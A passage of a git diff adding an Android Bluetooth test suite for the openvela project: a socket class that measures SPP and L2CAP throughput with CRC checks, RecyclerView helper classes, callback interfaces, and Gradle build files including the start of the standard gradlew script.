SOCK_TYPE_L2CAP_BREDR_xxx + public void register(String var) { + if (mSockRole != SOCK_ROLE_UNKNOWN) { + showLogs("Unexpected register, current role = " + mSockRole); + return; + } + + mSockRole = SOCK_ROLE_SERVER; + mVar = var; + + // Register server with different API, based on mType + boolean ret = registerServer(var); + if (!ret) + return; + + // Start AcceptThread to wait for a new connection from other clients + AcceptThread thread = new AcceptThread(); + thread.start(); + } + + public void unregister() { + if (mSockRole != SOCK_ROLE_SERVER) { + showLogs("Unexpected unregister, current role = " + mSockRole); + return; + } + + // TODO: + stopAdvertising(); + mSockRole = SOCK_ROLE_UNKNOWN; + + } + + public void connect(String bdAddr, String var) { + if (mSockRole != SOCK_ROLE_UNKNOWN) { + showLogs("Unexpected connect, current role = " + mSockRole); + return; + } + + mSockRole = SOCK_ROLE_CLIENT; + + BluetoothDevice device = bluetoothAdapter.getRemoteDevice(bdAddr); + + // Connect remote device with different API, based on mType + connectRemote(device, var); + + // Start ConnectThread + ConnectThread thread = new ConnectThread(); + thread.start(); + Log.i(TAG, "onClick: Connected Socket to" + bdAddr); + } + + public void disconnect() { + if (null != mOutputStream) try { + mOutputStream.flush(); + mOutputStream.close(); + } catch (IOException e) { + e.printStackTrace(); + } + mOutputStream = null; + + if (null != mInputStream) try { + mInputStream.close(); + } catch (IOException e) { + e.printStackTrace(); + } + mInputStream = null; + + if (null != mSocket) try { + mSocket.getOutputStream().close(); + mSocket.getInputStream().close(); + mSocket.close(); + } catch (IOException e) { + e.printStackTrace(); + } + mSocket = null; + + mSockRole = SOCK_ROLE_UNKNOWN; + } + + public void send(String msgToSend, int cycles) { + // TODO: Check whether it's busy now + if ((mSockTxState != SOCK_TX_STATE_IDLE) || (mSockRxState != SOCK_RX_STATE_IDLE)) { + showLogs("Unexpected send: it's busy now, mSockTxState = " + mSockTxState + ", mSockRxState = " + mSockRxState); + return; + } + + if ((null == mSocket) || (null == mOutputStream)) { + return; + } + + mCycles = cycles; + mStringToSend = msgToSend; + Log.d (TAG, "------- Role(" + mSockRole + ") Index(" + mIndex + ") Send: mCycles = " + mCycles); + if (mCycles <= 0) { + return; + } + + int num = 0; + if (msgToSend.startsWith("VelaTest:")) { // Start Tput testing + mSockTxState = SOCK_TX_STATE_SENDING; + + num = Integer.parseInt(msgToSend.substring(9)); + + /* Option #1: when num = 12888, the time consuming is about 468ms + for (int i = 0; i <= num; i++) { + msgToSend = msgToSend + String.valueOf(i); + } */ + + // Option #2: + int tmp = num; + int begin = 0; + int end = 10; + int countDigits = 1; + int numOfChar = msgToSend.length(); + //Log.d (TAG, "numOfChar init = " + numOfChar); + do { + if (num >= end) + numOfChar += (end - begin) * countDigits; + else if ((num >= begin) && (num < end)) + numOfChar += (num - begin + 1) * countDigits; + else + Log.e(TAG, "wrong case!!!"); + + countDigits++; + begin = end; + end = 10 * begin; + tmp /= 10; + } while (tmp != 0); + + //Log.d (TAG, "numOfChar = " + numOfChar); + + msgToSend = "START:" + numOfChar; + + // Delay the sending in another Thread, after receiving ACK from PEER + mTxThread = new TxThread(num); + } + + writeStr(msgToSend); + + // Show logs on UI + String str = "Sent: size = " + msgToSend.length() + " Bytes: \"" + msgToSend + "\"\r\n"; + showLogs(str); + } + + // AcceptThread is used by Server to listen a connection from other clients + private class AcceptThread extends Thread { + public void run() { + Log.d(TAG, "AcceptThread: started"); + + while (true) { + try { + // It's a blocking operation, so we shall do it in a background thread + Log.d(TAG, "before server.accept()"); + mSocket = mServerSocket.accept(); + Log.d(TAG, "after server.accept(), acceptSocket = " + mSocket); + } catch (IOException e) { + e.printStackTrace(); + //return; + } + + if (null != mSocket) { + Log.i(TAG, "Accepted one connection..."); + + try { + mInputStream = new BufferedInputStream(mSocket.getInputStream()); + mOutputStream = new BufferedOutputStream(mSocket.getOutputStream()); + + // Start receiving data + RxThread thread = new RxThread(); + thread.start(); + + // Only accept one connection!!! + + // Show logs on UI + String str = "Server: accepted one socket connection and started reading \r\n"; + showLogs(str); + break; + } catch (IOException e) { + e.printStackTrace(); + } + } + } + } + } + + // ConnectThread is used by Client to connect other Servers + private class ConnectThread extends Thread { + public void run() { + Log.d(TAG, "ConnectThread: started"); + + // Create RFCOMM socket, as a Client + try { + // It's a blocking operation, so we shall do it in background + Log.d(TAG, "onClick: before BluetoothSocket::connect"); + mSocket.connect(); + Log.d(TAG, "onClick: after BluetoothSocket::connect"); + + Log.d(TAG, "onClick: before BluetoothSocket::getInputStream"); + InputStream iStream = mSocket.getInputStream(); + Log.e(TAG, "onClick: after BluetoothSocket::getInputStream, iStream = " + iStream); + if (null == iStream) { + Log.e(TAG, "Failed to getInputStream"); + return; + } + mInputStream = new BufferedInputStream(iStream); + + Log.d(TAG, "onClick: before BluetoothSocket::getOutputStream"); + OutputStream oStream = mSocket.getOutputStream(); + Log.e(TAG, "onClick: after BluetoothSocket::getOutputStream, iStream = " + oStream); + if (null == oStream) { + Log.e(TAG, "Failed to getOutputStream"); + return; + } + mOutputStream = new BufferedOutputStream(oStream); + } catch (IOException e) { + e.printStackTrace(); + return; + } + + // Start receiving data + RxThread thread = new RxThread(); + thread.start(); + + // Show logs on UI + String str = "Client: Connected one server and started reading\r\n"; + showLogs(str); + } + } + + // RxThread is used by Client or Server to Receive data (in the background) after connection + private class RxThread extends Thread { + public void run() { + int readSize = 0; + byte[] buffer = new byte[1000]; + String readStr; + int totalSizeToReceive = 0; + int totalReceived = 0; + long duration = 0; + String str; + + Log.d(TAG, "RxThread: started"); + + try { + while ((readSize = mInputStream.read(buffer, 0, buffer.length)) != -1) { + //Log.d(TAG, "Received: readSize = " + readSize + ", buffer = " + buffer); + readStr = new String(buffer, 0, readSize, "UTF-8"); + + if (readStr.startsWith("START:")) { + //showLogs("Received \"START:\"\r\n"); + if ((mSockTxState != SOCK_TX_STATE_IDLE) || (mSockRxState != SOCK_RX_STATE_IDLE)) { + showLogs("SPP is busy for sending now, ignore Rx Tput test request"); + } + totalSizeToReceive = Integer.parseInt(readStr.substring(6)); + + // Write ACK to remote + writeStr("START_ACK"); + + mSockRxState = SOCK_RX_STATE_RECEIVING; + mTotalSize = totalSizeToReceive; + mStartTime = System.currentTimeMillis(); + totalReceived = 0; + + mReceivedStrBuf.setLength(0); + continue; + } else if (readStr.startsWith("START_ACK")) { + showLogs("Received \"START_ACK\"\r\n"); + if (mSockTxState == SOCK_TX_STATE_SENDING) { + // Received ACK, continue to send data in another thread + mTxThread.start(); + } + continue; + } else if (readStr.startsWith("EOF")) { + showLogs("Received \"EOF\"\r\n"); + // Calculate Tput + mStopTime = System.currentTimeMillis(); + duration = mStopTime - mStartTime; + + str = "Sent Total " + String.valueOf(mTotalSize) + " Bytes"; + if (duration > 0) + str += ", Duration: " + duration + " ms, Average Tput = " + mTotalSize/duration + " kB/s"; + str += "\r\n"; + + // Check CRC + long crcValue = Long.parseLong(readStr.substring(3)); + str += "CRC checking: Send CRC = " + mCrcValue + ", Receive CRC = " + crcValue + "\r\n"; + if (mCrcValue != crcValue) { + Log.e(TAG, "Received wrongly!!!"); + mCycles = 0; + } + + // Send message to UI + showLogs(str); + + mStartTime = 0; + mStopTime = 0; + mTotalSize = 0; + mSockTxState = SOCK_TX_STATE_IDLE; + + // Restart Tx, for Stress Test + if (mCycles > 0) { + send(mStringToSend, mCycles - 1); + } + + continue; + } + + Log.d(TAG, "Continue to handle string: totalReceived = " + totalReceived + ", readSize = " + readSize + + ", totalSizeToReceive = " + totalSizeToReceive); + if (mSockRxState == SOCK_RX_STATE_RECEIVING) { + totalReceived += readSize; + mReceivedStrBuf.append(readStr); + Log.d(TAG, "Updated totalReceived = " + totalReceived + ", readSize = " + readSize); + + if (totalReceived >= totalSizeToReceive) { + mStopTime = System.currentTimeMillis(); + duration = mStopTime - mStartTime; + + str = "Received Total " + String.valueOf(totalReceived) + " Bytes)"; + if (duration > 0) + str += ", Duration: " + duration + " ms, Average Tput = " + mTotalSize/duration + " kB/s"; + str += "\r\n"; + + //showLogs(str); + + // Calculate CRC + CRC32 crc = new CRC32(); + crc.update(mReceivedStrBuf.toString().getBytes()); + long crcValue = crc.getValue(); + + // Tell remote to stop sending and calculate Tput on remote side + writeStr("EOF" + crcValue); + + mStartTime = 0; + mStopTime = 0; + mTotalSize = 0; + mSockRxState = SOCK_RX_STATE_IDLE; + } + } else { + str = "Received " + String.valueOf(readSize) + " Bytes: " + readStr +"\r\n"; + + // Send message to UI + //showLogs(str); + } + } + } catch (IOException e) { + e.printStackTrace(); + //return; + } + + if (mSockRole == SOCK_ROLE_SERVER) { + showLogs("Socket unexpectedly disconnected, restart Accept Thread again"); + disconnect(); + register(mVar); + } + } + } + + // TxThread is used by Client or Server to Send data (in the background) after connection + private class TxThread extends Thread { + int mNumToSend; + + public TxThread(int num) { + mNumToSend = num; + } + + public void run() { + String msgToSend = "VelaTest:" + mNumToSend; + int totalSize = 0; + int start = 0; + int last = 0; + + //Log.d(TAG, "TxThread: started"); + + if (mSockTxState != SOCK_TX_STATE_SENDING) + return; + + // Building string to be sent: + long testTimeStart = System.currentTimeMillis(); + showLogs("Preparing data to be sent ...\r\n"); + + /* Option#1: low efficiency! + for (int i = 0; i <= mNumToSend; i++) { + msgToSend = msgToSend + String.valueOf(i); + } + */ + + // Option#2: Higher efficiency, but not thread-safety useage. + StringBuilder sb = new StringBuilder(); + for (int i = 0; i <= mNumToSend; i++) { + sb.append(i); + } + msgToSend += sb.toString(); + + // Calculate CRC + CRC32 crc = new CRC32(); + crc.update(msgToSend.getBytes()); + mCrcValue = crc.getValue(); + + long testTimeStop = System.currentTimeMillis(); + long duration = testTimeStop - testTimeStart; + showLogs("Done. Time to generation string = " + duration + " ms\r\n"); + + totalSize = msgToSend.length(); + + mTotalSize = totalSize; + mStartTime = System.currentTimeMillis(); + + start = 0; + int step = 1000; + while (true) { + last = start + step; + if (last > totalSize) { + writeStr(msgToSend.substring(start)); + } else { + writeStr(msgToSend.substring(start, last)); + } + + start = last; + if (start >= totalSize) + break; + } + + // Show logs on UI + String str = "Sent: size = " + totalSize + "Bytes\r\n"; + showLogs(str); + } + } + + // To show logs on UI + private void showLogs(String str) { + if (mCycles > 1) + return; + + if (mSockRole == SOCK_ROLE_CLIENT) + str = "\r\nClient(" + mIndex + "): " + str; + else if (mSockRole == SOCK_ROLE_SERVER) + str = "\r\nServer(" + mIndex + "): " + str; + + Bundle bData = new Bundle(); + bData.putString("log", str); + + Message msg = mHandler.obtainMessage(); + msg.what = BtSock.MESSAGE_SOCK_LOGGING; + msg.setData(bData); + mHandler.sendMessage(msg); + Log.i(TAG, "showLogs: " + str); + } + + private void writeStr(String msgToSend) { + try { + mOutputStream.write(msgToSend.getBytes()); + //mOutputStream.write('\r'); + //mOutputStream.write('\n'); + mOutputStream.flush(); + } catch (IOException e) { + e.printStackTrace(); + } + } + + private boolean registerServer(String var) { + try { + Log.d(TAG, "registerServer: mServerSocket = " + mServerSocket + ", type = " + mType + ", var = " + var); + + if (mServerSocket == null) { + switch (mType) { + case SOCK_TYPE_SPP_INSECURE: + // var means UUID + mServerSocket = bluetoothAdapter.listenUsingInsecureRfcommWithServiceRecord("Vela BTS SPP Server", UUID.fromString(var)); + break; + + case SOCK_TYPE_SPP_SECURE: + // var means UUID + mServerSocket = bluetoothAdapter.listenUsingRfcommWithServiceRecord("Vela BTS SPP Server", UUID.fromString(var)); + break; + + case SOCK_TYPE_L2CAP_BLE_INSECURE: + mServerSocket = bluetoothAdapter.listenUsingInsecureL2capChannel(); + mVar = String.valueOf(mServerSocket.getPsm()); + + startAdvertising(); + break; + + case SOCK_TYPE_L2CAP_BLE_SECURE: + mServerSocket = bluetoothAdapter.listenUsingL2capChannel(); + mVar = String.valueOf(mServerSocket.getPsm()); + + startAdvertising(); + break; + + case SOCK_TYPE_L2CAP_BREDR_INSECURE: + case SOCK_TYPE_L2CAP_BREDR_SECURE: + default: + showLogs("Socket type Not supported: " + mType); + break; + } + } + + if (mServerSocket == null) + return false; + + // Show logs on UI + String str = "Registered Socket Server on Port/SCN/PSM = " + mServerSocket.getPsm() + "\r\n"; + showLogs(str); + } catch (IOException e) { + e.printStackTrace(); + return false; + } + + return true; + } + + private void connectRemote(BluetoothDevice device, String var) { + Log.d(TAG, "onClick: Connect var = " + var); + + try { + switch (mType) { + case SOCK_TYPE_SPP_INSECURE: + mSocket = device.createInsecureRfcommSocketToServiceRecord(UUID.fromString(var)); + break; + + case SOCK_TYPE_SPP_SECURE: + mSocket = device.createRfcommSocketToServiceRecord(UUID.fromString(var)); + break; + + case SOCK_TYPE_L2CAP_BLE_INSECURE: + // var means PSM + mSocket = device.createInsecureL2capChannel(Integer.parseInt(var)); + break; + + case SOCK_TYPE_L2CAP_BLE_SECURE: + // var means PSM + mSocket = device.createL2capChannel(Integer.parseInt(var)); + break; + + // Fall Through + case SOCK_TYPE_L2CAP_BREDR_INSECURE: + // var means Channel + //mSocket = device.createInsecureL2capSocket(Integer.parseInt(var)); + + // Fall Through + case SOCK_TYPE_L2CAP_BREDR_SECURE: + // var means Channel + //mSocket = device.createL2capSocket(Integer.parseInt(var)); + + default: + showLogs("Socket type Not supported: " + mType); + break; + } + + if (null == mSocket) { + Log.e(TAG, "Failed to create socket"); + } + } catch (IOException e) { + e.printStackTrace(); + } + + Log.d(TAG, "onClick: Connected, socket = " + mSocket); + } + + private void startAdvertising() { + final UUID ADV_COC_SERVICE_UUID = UUID.fromString("00001234-0000-1000-8000-00805f9b34fb"); + + Log.d(TAG, "startAdvertising: enter"); + + BluetoothLeAdvertiser btAdvertiser = bluetoothAdapter.getBluetoothLeAdvertiser(); + AdvertiseData data = new AdvertiseData.Builder() + .setIncludeDeviceName(true) + .addServiceData(new ParcelUuid(ADV_COC_SERVICE_UUID), new byte[]{1, 2, 3}) + .addServiceUuid(new ParcelUuid(ADV_COC_SERVICE_UUID)) + //.addManufacturerData(0xFF00, new byte[]{1, 2, 3, 4, 5, 6}) + .build(); + AdvertiseSettings setting = new AdvertiseSettings.Builder() + .setAdvertiseMode(AdvertiseSettings.ADVERTISE_MODE_LOW_LATENCY) + .setTxPowerLevel(AdvertiseSettings.ADVERTISE_TX_POWER_HIGH) + .setConnectable(true) + .setTimeout(0) + .build(); + btAdvertiser.startAdvertising(setting, data, mAdvertiseCallback); + } + + private final AdvertiseCallback mAdvertiseCallback = new AdvertiseCallback(){ + @Override + public void onStartFailure(int errorCode) { + // Implementation for API Test. + super.onStartFailure(errorCode); + showLogs("Start advertising: failed, errorCode = " + errorCode); + } + + @Override + public void onStartSuccess(AdvertiseSettings settingsInEffect) { + // Implementation for API Test. + super.onStartSuccess(settingsInEffect); + showLogs("Start advertising: OK"); + } + }; + + private void stopAdvertising() { + Log.d(TAG, "stopAdvertising: enter"); + + BluetoothLeAdvertiser btAdvertiser = bluetoothAdapter.getBluetoothLeAdvertiser(); + btAdvertiser.stopAdvertising(mAdvertiseCallback); + } +} diff --git a/tools/test_suite/android/core/src/main/java/com/openvela/bluetooth/adapter/RecyclerAdapter.java b/tools/test_suite/android/core/src/main/java/com/openvela/bluetooth/adapter/RecyclerAdapter.java new file mode 100755 index 0000000000000000000000000000000000000000..279aa003d3d314444f73acabf18e8021c086ce70 --- /dev/null +++ b/tools/test_suite/android/core/src/main/java/com/openvela/bluetooth/adapter/RecyclerAdapter.java @@ -0,0 +1,54 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +package com.openvela.bluetooth.adapter; + +import java.util.List; +import android.content.Context; +import android.view.ViewGroup; + +import androidx.annotation.NonNull; +import androidx.recyclerview.widget.RecyclerView; + +public abstract class RecyclerAdapter<T> extends RecyclerView.Adapter<RecyclerViewHolder> { + protected Context mContext; + protected int mLayoutId; + protected List<T> mItems; + + public RecyclerAdapter(Context context, int layoutId, List<T> items) { + mContext = context; + mLayoutId = layoutId; + mItems = items; + } + + @NonNull + @Override + public RecyclerViewHolder onCreateViewHolder(@NonNull final ViewGroup parent, int viewType) { + return RecyclerViewHolder.get(mContext, parent, mLayoutId); + } + + @Override + public void onBindViewHolder(@NonNull RecyclerViewHolder holder, int position) { + onBindViewHolderItem(holder, mItems.get(position)); + } + + @Override + public int getItemCount() { + return mItems.size(); + } + + public abstract void onBindViewHolderItem(RecyclerViewHolder holder, T t); +} \ No newline at end of file diff --git a/tools/test_suite/android/core/src/main/java/com/openvela/bluetooth/adapter/RecyclerViewHolder.java b/tools/test_suite/android/core/src/main/java/com/openvela/bluetooth/adapter/RecyclerViewHolder.java new file mode 100755 index 0000000000000000000000000000000000000000..412a88dff3577493f5d1cbb3c2b5fb7d0c27e2d5 --- /dev/null +++ b/tools/test_suite/android/core/src/main/java/com/openvela/bluetooth/adapter/RecyclerViewHolder.java @@ -0,0 +1,74 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +package com.openvela.bluetooth.adapter; + +import android.content.Context; +import android.util.SparseArray; +import android.view.LayoutInflater; +import android.view.View; +import android.view.ViewGroup; +import android.widget.TextView; +import androidx.recyclerview.widget.RecyclerView; + +public class RecyclerViewHolder extends RecyclerView.ViewHolder { + private final SparseArray<View> mViews; + private final View mView; + + public RecyclerViewHolder(View view) { + super(view); + mView = view; + mViews = new SparseArray<>(); + } + + public static RecyclerViewHolder get(Context context, ViewGroup parent, int layoutId) { + View itemView = LayoutInflater.from(context).inflate(layoutId, parent, false); + return new RecyclerViewHolder(itemView); + } + + public View getView() { + return mView; + } + + public <T extends View> T getView(int viewId) { + View view = mViews.get(viewId); + if (view == null) { + view = mView.findViewById(viewId); + mViews.put(viewId, view); + } + return (T) view; + } + + public void setVisibility(int viewId, int visibility) { + View tv = getView(viewId); + tv.setVisibility(visibility); + } + + public void setText(int viewId, String text) { + TextView tv = getView(viewId); + tv.setText(text); + } + + public void setOnClickListener(int viewId, View.OnClickListener listener) { + View view = getView(viewId); + view.setOnClickListener(listener); + } + + public void setOnClickListener(View.OnClickListener listener) { + View view = getView(); + view.setOnClickListener(listener); + } +} diff --git a/tools/test_suite/android/core/src/main/java/com/openvela/bluetooth/callback/BleConnectCallback.java b/tools/test_suite/android/core/src/main/java/com/openvela/bluetooth/callback/BleConnectCallback.java new file mode 100755 index 0000000000000000000000000000000000000000..628421f9afe9b550d8735e34011e1a18cea6de6d --- /dev/null +++ b/tools/test_suite/android/core/src/main/java/com/openvela/bluetooth/callback/BleConnectCallback.java @@ -0,0 +1,13 @@ +package com.openvela.bluetooth.callback; + +public abstract class BleConnectCallback<T> { + public static final int FAILED_DEVICE_NOT_FOUND = 1000; + public static final int FAILED_TIMEOUT = 1001; + + public void onConnectionChanged(String address, int newState) {} + + public void onConnectFailed(String address, int errorCode) {} + + public void onServicesDiscovered(String address) {} + +} diff --git a/tools/test_suite/android/core/src/main/java/com/openvela/bluetooth/callback/BluetoothBondStateCallback.java b/tools/test_suite/android/core/src/main/java/com/openvela/bluetooth/callback/BluetoothBondStateCallback.java new file mode 100644 index 0000000000000000000000000000000000000000..4c281c2f3c38e8b7473ed8f8d6bf97f2fabe815e --- /dev/null +++ b/tools/test_suite/android/core/src/main/java/com/openvela/bluetooth/callback/BluetoothBondStateCallback.java @@ -0,0 +1,9 @@ +package com.openvela.bluetooth.callback; + +import android.bluetooth.BluetoothDevice; + +public interface BluetoothBondStateCallback { + void onBonded(BluetoothDevice device); + + void onBondRemoved(BluetoothDevice device); +} diff --git a/tools/test_suite/android/core/src/main/java/com/openvela/bluetooth/callback/BluetoothDiscoveryCallback.java b/tools/test_suite/android/core/src/main/java/com/openvela/bluetooth/callback/BluetoothDiscoveryCallback.java new file mode 100755 index 0000000000000000000000000000000000000000..e1759ab1143482bdd367eac97a03b4b0a9146799 --- /dev/null +++ b/tools/test_suite/android/core/src/main/java/com/openvela/bluetooth/callback/BluetoothDiscoveryCallback.java @@ -0,0 +1,18 @@ +package com.openvela.bluetooth.callback; + +public abstract class BluetoothDiscoveryCallback<T> { + public static final int FAILED_ALREADY_STARTED = 1; + public static final int FAILED_APPLICATION_REGISTRATION_FAILED = 2; + public static final int FAILED_FEATURE_UNSUPPORTED = 4; + public static final int FAILED_INTERNAL_ERROR = 3; + public static final int FAILED_OUT_OF_HARDWARE_RESOURCES = 5; + public static final int FAILED_SCANNING_TOO_FREQUENTLY = 6; + + public void onStart() {} + + public void onStop() {} + + public abstract void onDiscoveryResult(T device); + + public void onDiscoveryFailed(int errorCode) {} +} diff --git a/tools/test_suite/android/core/src/main/java/com/openvela/bluetooth/callback/BluetoothStateCallback.java b/tools/test_suite/android/core/src/main/java/com/openvela/bluetooth/callback/BluetoothStateCallback.java new file mode 100755 index 0000000000000000000000000000000000000000..340723b7e678d66146ab46406db6dc089c1e840e --- /dev/null +++ b/tools/test_suite/android/core/src/main/java/com/openvela/bluetooth/callback/BluetoothStateCallback.java @@ -0,0 +1,7 @@ +package com.openvela.bluetooth.callback; + +public interface BluetoothStateCallback { + void onEnabled(); + + void onDisabled(); +} diff --git a/tools/test_suite/android/core/src/main/res/values/strings.xml b/tools/test_suite/android/core/src/main/res/values/strings.xml new file mode 100755 index 0000000000000000000000000000000000000000..1ebd5b4082c5efea70548f446fa158fe9e9f074a --- /dev/null +++ b/tools/test_suite/android/core/src/main/res/values/strings.xml @@ -0,0 +1,3 @@ +<resources> + <string name="lib_name">bluetoothtestlib</string> +</resources> diff --git a/tools/test_suite/android/gradle.properties b/tools/test_suite/android/gradle.properties new file mode 100755 index 0000000000000000000000000000000000000000..3a131cad544aa3fdb0f33244952f883df71129c3 --- /dev/null +++ b/tools/test_suite/android/gradle.properties @@ -0,0 +1,23 @@ +# Project-wide Gradle settings. +# IDE (e.g. Android Studio) users: +# Gradle settings configured through the IDE *will override* +# any settings specified in this file. +# For more details on how to configure your build environment visit +# http://www.gradle.org/docs/current/userguide/build_environment.html +# Specifies the JVM arguments used for the daemon process. +# The setting is particularly useful for tweaking memory settings. +org.gradle.jvmargs=-Xmx2048m -Dfile.encoding=UTF-8 +# When configured, Gradle will run in incubating parallel mode. +# This option should only be used with decoupled projects. More details, visit +# http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects +# org.gradle.parallel=true +# AndroidX package structure to make it clearer which packages are bundled with the +# Android operating system, and which are packaged with your app's APK +# https://developer.android.com/topic/libraries/support-library/androidx-rn +android.useAndroidX=true +# Enables namespacing of each library's R class so that its R class includes only the +# resources declared in the library itself and none from the library's dependencies, +# thereby reducing the size of the R class for that library +android.nonTransitiveRClass=true +android.defaults.buildfeatures.buildconfig=true +android.nonFinalResIds=false \ No newline at end of file diff --git a/tools/test_suite/android/gradle/wrapper/gradle-wrapper.jar b/tools/test_suite/android/gradle/wrapper/gradle-wrapper.jar new file mode 100755 index 0000000000000000000000000000000000000000..d64cd4917707c1f8861d8cb53dd15194d4248596 Binary files /dev/null and b/tools/test_suite/android/gradle/wrapper/gradle-wrapper.jar differ diff --git a/tools/test_suite/android/gradle/wrapper/gradle-wrapper.properties b/tools/test_suite/android/gradle/wrapper/gradle-wrapper.properties new file mode 100755 index 0000000000000000000000000000000000000000..e2847c820046b34569292608a035c8ffc83be95a --- /dev/null +++ b/tools/test_suite/android/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,7 @@ +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-8.11.1-bin.zip +networkTimeout=10000 +validateDistributionUrl=true +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists diff --git a/tools/test_suite/android/gradlew b/tools/test_suite/android/gradlew new file mode 100755 index 0000000000000000000000000000000000000000..6e18c4d38c87cc3d3b514ff0820c7d0c4047c62d --- /dev/null +++ b/tools/test_suite/android/gradlew @@ -0,0 +1,249 @@ +#!/bin/sh + +# +# Copyright (C) 2024 Xiaomi Corporation. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +############################################################################## +# +# Gradle start up script for POSIX generated by Gradle. +# +# Important for running: +# +# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is +# noncompliant, but you have some other compliant shell such as ksh or +# bash, then to run this script, type that shell name before the whole +# command line, like: +# +# ksh Gradle +# +# Busybox and similar reduced shells will NOT work, because this script +# requires all of these POSIX shell features: +# * functions; +# * expansions «$var», «${var}», «${var:-default}», «${var+SET}», +# «${var#prefix}», «${var%suffix}», and «$( cmd )»; +# * compound commands having a testable exit status, especially «case»; +# * various built-in commands including «command», «set», and «ulimit». +# +# Important for patching: +# +# (2) This script targets any POSIX shell, so it avoids extensions provided +# by Bash, Ksh, etc; in particular arrays are avoided. +# +# The "traditional" practice of packing multiple parameters into a +# space-separated string is a well documented source of bugs and security +# problems, so this is (mostly) avoided, by progressively accumulating +# options in "$@", and eventually passing that to Java. +# +# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, +# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; +# see the in-line comments for details. +# +# There are tweaks for specific operating systems such as AIX, CygWin, +# Darwin, MinGW, and NonStop. +# +# (3) This script is generated from the Groovy template +# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# within the Gradle project. +# +# You can find Gradle at https://github.com/gradle/gradle/. +# +############################################################################## + +# Attempt to set APP_HOME + +# Resolve links: $0 may be a link +app_path=$0 + +# Need this for daisy-chained symlinks. +while + APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path + [ -h "$app_path" ] +do + ls=$( ls -ld "$app_path" ) + link=${ls#*' -> '} + case $link in #( + /*) app_path=$link ;; #( + *) app_path=$APP_HOME$link ;; + esac +done + +# This is normally unused +# shellcheck disable=SC2034 +APP_BASE_NAME=${0##*/} +# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) +APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD=maximum + +warn () { + echo "$*" +} >&2 + +die () { + echo + echo "$*" + echo + exit 1 +} >&2 + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "$( uname )" in #( + CYGWIN* ) cygwin=true ;; #( + Darwin* ) darwin=true ;; #( + MSYS* | MINGW* ) msys=true ;; #( + NONSTOP* ) nonstop=true ;; +esac + +CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar + + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD=$JAVA_HOME/jre/sh/java + else + JAVACMD=$JAVA_HOME/bin/java + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD=java + if ! command -v java >/dev/null 2>&1 + then + die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +fi + +# Increase the maximum file descriptors if we can. +if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then + case $MAX_FD in #( + max*) + # In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + MAX_FD=$( ulimit -H -n ) || + warn "Could not query maximum file descriptor limit" + esac + case $MAX_FD in #( + '' | soft) :;; #( + *) + # In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + ulimit -n "$MAX_FD" || + warn "Could not set maximum file descriptor limit to $MAX_FD" + esac +fi + +# Collect all arguments for the java command, stacking in reverse order: +# * args from the command line +# * the main class name +# * -classpath +# * -D...appname settings +# * --module-path (only if needed) +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. + +# For Cygwin or MSYS, switch paths to Windows format before running java +if "$cygwin" || "$msys" ; then + APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) + CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" ) + + JAVACMD=$( cygpath --unix "$JAVACMD" ) + + # Now convert the arguments - kludge to limit ourselves to /bin/sh + for arg do + if + case $arg in #( + -*) false ;; # don't mess with options #( + /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath + [ -e "$t" ] ;; #( + *) false ;; + esac + then + arg=$( cygpath --path --ignore --mixed "$arg" ) + fi + # Roll the args list around exactly as many times as the number of + # args, so each arg winds up back in the position where it started, 